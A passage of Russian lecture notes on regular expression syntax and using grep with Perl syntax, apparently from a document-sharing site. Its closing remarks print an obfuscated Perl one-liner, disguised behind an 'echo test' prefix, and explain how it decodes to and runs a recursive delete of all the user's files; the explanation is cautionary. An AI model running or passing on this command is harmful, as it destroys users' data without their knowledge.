Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
lekcii_dm.doc
Скачиваний:
31
Добавлен:
08.11.2018
Размер:
11.89 Mб
Скачать

8.03.2. Правила регулярного выражения.

  1. Любой символ обозначает себя самого, если это не метасимвол. Если вам нужно отменить действие метасимвола, то поставьте перед ним “\”.

  2. Строка символов обозначает строку этих символов.

  3. Множество возможных символов (класс) заключается в квадратные скобки [], это значит, что в данном месте может стоять один из указанных в скобках символов. Если первый символ в скобках это “^” — значит ни один из указанных символов не может стоять в данном месте выражения. Внутри класса можно употреблять символ “-”, обозначающий диапазон символов. Например, a-z — один из малых букв латинского алфавита, 0-9 — цифра.

  4. Все символы, включая специальные, можно обозначать с помощью “\” как в языке С.

  5. Альтернативные последовательности разделяются символом “|” Заметьте что внутри квадратных скобок это обычный символ.

  6. Внутри регулярного выражения можно указывать “подшаблоны”, заключая их в круглые скобки и ссылаться на них как “\ номер”. Первая скобка обозначается как “\ 1”.

    1. Установка необходимого программного обеспечения.

Для выполнения практического задания достаточно использовать фильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).

grep — утилита командной строки, которая находит на вводе строки, отвечающие заданному регулярному выражению, и выводит их, если вывод не отменён специальным ключом. Название представляет собой акроним английской фразы «search globally for lines matching the regular expression, and print them» — «искать везде строки, соответствующие регулярному выражению, и выводить их».

Изначально была создана для операционной системы UNIX, и поэтому для Linux подобных операционных систем команда grep присутствует по умолчанию.

Пользователям Windows можно загрузить интерпретатор PERL (http://www.perl.org/get.html), также существует portable версия, которая не требует установки.

Наиболее простым и безопасным вариантом является использование портированной под windows утилиты grep из UnixUtils (http://rusakovam.narod.ru/lec/dm/lit/grep.exe). Далее, можно скопировать grep.exe в каталог Windows, тогда эта утилита будет запускаться также как и под LINUX, то есть в обычном для неё синтаксисе.

Команда поиска регулярного выражения в файле имеет синтаксис:

grep -Pr "RegExp" File,

где Pr означает использовать синтаксис PERL рекурсивно;

RegExp – это регулярное выражение;

File – полный путь к файлу;

    1. Замечания.

Будьте осторожны, необдуманные эксперименты с регулярными выражениями могут привести к печальным последствиям.

Одним из таких примеров является вызвавшая большой резонанс программа, так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности.

То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;

y; -/:-@[-`{-};`-{/" -; ;

s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}

`abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид

system"rm -rf /"

Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]